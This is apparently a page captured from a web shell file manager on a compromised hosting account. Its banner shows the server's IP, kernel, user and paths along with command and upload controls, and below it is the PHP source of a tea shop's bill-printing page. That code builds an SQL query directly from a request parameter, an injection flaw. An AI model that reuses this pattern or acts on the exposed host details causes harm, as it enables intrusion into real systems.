MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 216.73.216.128
Web Server : LiteSpeed
System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.32
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/bill-print.php
<!----------------------------Script code for delete confirmation-------------------------------------->

<script language="JavaScript" type="text/javascript">
function checkDelete(){
    return confirm('Are you sure?');
}

function checkDelete2(){
    return confirm('Are you sure?');
}

</script>

<style>
body {
    margin: 0;
    padding: 0;
    font-family: 'PT Sans', sans-serif;
}

@page {
    /*size: 2.8in 11in;*/
    margin-top: 0cm;
    margin-left: 0.2cm;
    margin-right: 0.2cm;
}

@media print
{
 @page {
   margin-top: 10px;
   margin-bottom: 0;
  
 }
 #content  {
   padding-top: 0px;
   padding-bottom: 0px ;
 }
}

table {
    width: 100%;
}

#content{
    width: 100%;
    min-width: 100%;
    max-width: 100%;
    table-layout: fixed;
}
.head{
    border-top: solid 1px black;
    border-bottom: solid 1px black;
    text-transform: uppercase;
}

tr {
    width: 100%;

}
.one{
    width: 20px;
    min-width: 20px;
    max-width: 20px;
}
.two{
    width: 80px;
    min-width: 80px;
    max-width: 80px;
}
.three{
    width: 70px;
    min-width: 70px;
    max-width: 70px;
}
.four{
    width: 40px;
    min-width: 40px;
    max-width: 40px;
}
.five{
    width: 40px;
    min-width: 40px;
    max-width: 40px;
}
.six{
    width: 30px;
    min-width: 30px;
    max-width: 30px;
}
</style>
<!------------------------------------------------------------------>
<!--<?php // include('header.php') ?>-->
<!--        <div class="breadcrumb-top">-->
<!--            <ol class="breadcrumb">-->
<!--                <li class="breadcrumb-item"><a href="dashboard.php">Dashboard</a></li>-->
<!--                <li class="breadcrumb-item active"><a href="#">View Receiving</a></li>-->
                
<!--            </ol>-->
<!--        </div>-->

        <!--------------------------------Start main body section----------------------------------->
          
               
                    <?php
                       include("include/connect.php");                
                         $id=  $_REQUEST['sid'];
                        
                         $sql="SELECT * FROM `sales`  WHERE `bill_id`='$id' ";      
                         $run=mysqli_query($db,$sql);               
                             $data=mysqli_fetch_assoc($run);
                             $bill_id=$data['bill_id'];
                             $bill_number=$data['bill_number'];
                             $customer_name=$data['customer_name'];
                             $contact_number=$data['contact_number'];
                             $total_bill_amount=$data['total_bill_amount'];
                             $turned_amount=$data['turned_amount'];   
                             $change_amount=$data['change_amount'];
                             $bill_date=$data['bill_date'];
                             
                              
                        ?>
         
                 <?php 
                 
                 function getIndianCurrency(float $number)
{
    $decimal = round($number - ($no = floor($number)), 2) * 100;
    $hundred = null;
    $digits_length = strlen($no);
    $i = 0;
    $str = array();
    $words = array(0 => '', 1 => 'one', 2 => 'two',
        3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six',
        7 => 'seven', 8 => 'eight', 9 => 'nine',
        10 => 'ten', 11 => 'eleven', 12 => 'twelve',
        13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen',
        16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen',
        19 => 'nineteen', 20 => 'twenty', 30 => 'thirty',
        40 => 'forty', 50 => 'fifty', 60 => 'sixty',
        70 => 'seventy', 80 => 'eighty', 90 => 'ninety');
    $digits = array('', 'hundred','thousand','lakh', 'crore');
    while( $i < $digits_length ) {
        $divider = ($i == 2) ? 10 : 100;
        $number = floor($no % $divider);
        $no = floor($no / $divider);
        $i += $divider == 10 ? 1 : 2;
        if ($number) {
            $plural = (($counter = count($str)) && $number > 9) ? 's' : null;
            $hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
            $str [] = ($number < 21) ? $words[$number].' '. $digits[$counter]. $plural.' '.$hundred:$words[floor($number / 10) * 10].' '.$words[$number % 10]. ' '.$digits[$counter].$plural.' '.$hundred;
        } else $str[] = null;
    }
    $Rupees = implode('', array_reverse($str));
    $paise = ($decimal > 0) ? "." . ($words[$decimal / 10] . " " . $words[$decimal % 10]) . ' Paise' : '';
    return ($Rupees ? $Rupees . 'Rupees ' : '') . $paise;
}
                 
                 
                 
                 ?>
         <table border="0" id="content" style="font-family: arial; border-collapse: collapse; border: none; padding: 0px; margin: 0px;">  
        
        <tr>
            <td colspan="2" style="padding: 0px; margin: 0px;">
                <p style="font-size: 12px; padding: 0px; margin: 0px; margin-bottom: 7px;"><span style="display: inline-block; font-weight: 700;"> Bill No: <?php echo $bill_number ;?> </span></p>
                <p style="font-size: 12px; padding: 0px; margin: 0px; margin-bottom: 7px;"><span style="display: inline-block; font-weight: 700;"> Date - <?php echo $bill_date ;?> </span></p>
            </td>
        </tr>
        <tr>
            <td colspan="2" style="padding: 0px 0px; margin: 0px;">
            <h4 style="font-size: 12px; padding: 0px; margin: 0px;">Professor Chai Wala</h4>    
            <p style="font-size: 12px;  padding: 0px; margin: 0px;">Office : Khasra No. 1069, Ahladpur, Kamlabad, Barauli, BKT, Lucknow-226013(U.P)</p>
            <p style="font-size: 12px; padding: 0px; margin: 0px;  font-weight: bolder;text-decoration: underline; padding-top: 20px;"><b>Bill<span style="font-size: x-small;"> (Original)</span></b></p>
            </td>
        </tr>
        <tr>
            <td colspan="2" style="padding: 8px 0px; margin: 0px;">
                <div style="width: 100%; height: 2px; background-color: #ddd;"></div>
            </td>
        </tr>
        <tr>
            <td style=" padding: 10px 0px; margin: 0px;">
                <p style="font-size: 12px; padding: 0px; margin: 0px; margin-bottom: 2px;"><span style=" display: inline-block; font-weight: 700;">Customer Name : <?php echo $customer_name ;?></span></p>
            </td>
            <td style="vertical-align: top; padding: 10px 0px; margin: 0px;">
                <p style="font-size: 12px; padding: 0px; margin: 0px; margin-bottom: 2px;"><span style="display: inline-block; font-weight: 700;">Phone Number : <?php echo $contact_number ;?></span></p>
            </td>
        </tr>
        
        <tr>
            <td colspan="2" style="padding: 2px 0px; margin: 0px;">
                <table class="sm-table" style=" text-align: left; border-collapse: collapse;">
                    <tr>
                        <th class="head one" style="width: 20px; font-size: 10px;  padding: 2px 2px; margin: 0px;">S.N.</th>
                        <th class="head three" style="width: 80px; font-size: 10px;  padding: 2px 2px; margin: 0px;">Product</th>
                        <th class="head four" style="width: 40px; font-size: 10px;  padding: 2px 2px; margin: 0px;">Qty</th>
                        <th class="head five" style="width: 40px; font-size: 10px; padding: 2px 2px; margin: 0px;">Price</th>
                        <th class="head six" style="width: 30px; font-size: 10px;  padding: 2px 2px; margin: 0px;">Amount</th>
                    </tr>
                      
                    <?php 
                          $sql2="SELECT * FROM `sale_item` JOIN `products` ON sale_item.product_id=products.product_id  WHERE bill_id= $bill_id ";
                          $run2=mysqli_query($db,$sql2);
                       $count = 1;
                        while($data=mysqli_fetch_assoc($run2)){                 
                           $sale_item_id=$data['sale_item_id'];
                           $product_code=$data['product_code'];  
                           $product_name=$data['product_name'];
                           $quantity=$data['qty'];
                           $purchase_price=$data['product_price'];
                           $sale_product_amount=$data['sale_product_amount'];
                           
                           
                          ?>

                    <tr>
                        <td class="one" style="width: 20px; font-size: 10px; padding: 2px 2px; margin: 0px;"><?php echo $count ;?></td>
                        <td class="three" style="width: 80px; font-size: 10px; padding: 2px 2px; margin: 0px;"><?php echo $product_name ;?> </td>
                        <td class="four" style="width: 40px; font-size: 10px;  padding: 2px 2px; margin: 0px;"><?php echo $quantity ;?></td>
                        <td class="five" style="width: 40px; font-size: 10px; padding: 2px 2px; margin: 0px;"><?php echo $purchase_price ;?> /-</td>
                        <td class="six" style="width: 30px; font-size: 10px;  padding: 2px 2px; margin: 0px;"><?php echo $sale_product_amount ;?></td>
                    </tr>
                    <?php $count++ ; } ?>
                    
                    
                    <tr>
                        <!--<td colspan="5" style="font-size: 12px; font-weight: 700; text-align: left;  padding: 2px 2px; padding-top: 5px;">Total Amounts in words: <?php echo getIndianCurrency($total_bill_amount); ;?> </span></td>-->
                       
                        
                        <td colspan="6" style="font-size: 10px; background-color: #ccc; text-align: right; font-weight: 700; padding: 1px 5px;  margin: 0px;"><span style="display: inline-block; padding-right: 10px;">Total Amount :</span> <?php echo $total_bill_amount ;?></td>
                    </tr>
                         
                    
                   
                </table>
            </td>
        </tr>

        <tr>
            <td colspan="2" style="text-align: center; padding: 0px; margin: 0px;">
                <div style="padding-top: 33px;">
                <p style=" text-align: center; font-size: 8px; padding: 0px; margin: 0px; margin-bottom: 7px;">
                Ceritified that the particulars given above are true and correct</p>
                <!--<p style=" text-align: center; font-size: 8px; padding: 0px; margin: 0px; margin-bottom: 7px; font-weight: 600;">-->
                <!--For 99 Mall</p>-->
                <p style="font-size: 8px; text-align: center; font-weight: 500; padding: 0px;  margin: 0px;"><b>Thank You For Your Business ! It Is Our Pleasure To Work With You.</b></p>
                
                <img src="https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=https://uvinfosystem.in/proffesor_chaiwala/FGTYUIKSCVMGHDclINV.php?sid=<?php echo urlencode(base64_encode($id))  ;?>" style="width: 80px;" title="">
                <p style="font-size: 8px; font-weight: 500; padding: 0px;  margin: 0px;">This is system generated invoice no signature required.</p>
                </div>
            </td>
        </tr>
        
        
         
        
    </table>



 <div style="padding: 40px 0px;">
         <input type="button" class="btn btn-primary" onclick="printDiv('content')"  value="Print Bill" >
        
    </div>
    </div>
    
    
    
    
             
            
   
    
      
    


      


        <!----------------------------------End Main body Section----------------------------------->
             
    </div>
</div>

<?php include('footer.php') ?>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/1.5.3/jspdf.min.js"></script>

<script>

var a = ['','one ','two ','three ','four ', 'five ','six ','seven ','eight ','nine ','ten ','eleven ','twelve ','thirteen ','fourteen ','fifteen ','sixteen ','seventeen ','eighteen ','nineteen '];
var b = ['', '', 'twenty','thirty','forty','fifty', 'sixty','seventy','eighty','ninety'];

function inWords (num) {
    if ((num = num.toString()).length > 9) return 'overflow';
    n = ('000000000' + num).substr(-9).match(/^(\d{2})(\d{2})(\d{2})(\d{1})(\d{2})$/);
    if (!n) return; var str = '';
    str += (n[1] != 0) ? (a[Number(n[1])] || b[n[1][0]] + ' ' + a[n[1][1]]) + 'crore ' : '';
    str += (n[2] != 0) ? (a[Number(n[2])] || b[n[2][0]] + ' ' + a[n[2][1]]) + 'lakh ' : '';
    str += (n[3] != 0) ? (a[Number(n[3])] || b[n[3][0]] + ' ' + a[n[3][1]]) + 'thousand ' : '';
    str += (n[4] != 0) ? (a[Number(n[4])] || b[n[4][0]] + ' ' + a[n[4][1]]) + 'hundred ' : '';
    str += (n[5] != 0) ? ((str != '') ? 'and ' : '') + (a[Number(n[5])] || b[n[5][0]] + ' ' + a[n[5][1]]) + 'only ' : '';
    return str;
}


document.getElementById('number').onkeyup = function () {
    document.getElementById('words').innerHTML = inWords(document.getElementById('number').value);
};

</script>




<script>
// function printData()
// {
//   var divToPrint=document.getElementById("content");
//   newWin= window.open("");
//   newWin.document.write(divToPrint.innerHTML);
//   newWin.print();
//   newWin.close();
// }

// $('.pbutton').on('click',function(){
// printData();
// })


function printDiv(divName){
			var printContents = document.getElementById(divName).innerHTML;
			var originalContents = document.body.innerHTML;

			document.body.innerHTML = printContents;

			window.print();

			document.body.innerHTML = originalContents;

		}

            
</script>




 

MMCT - 2023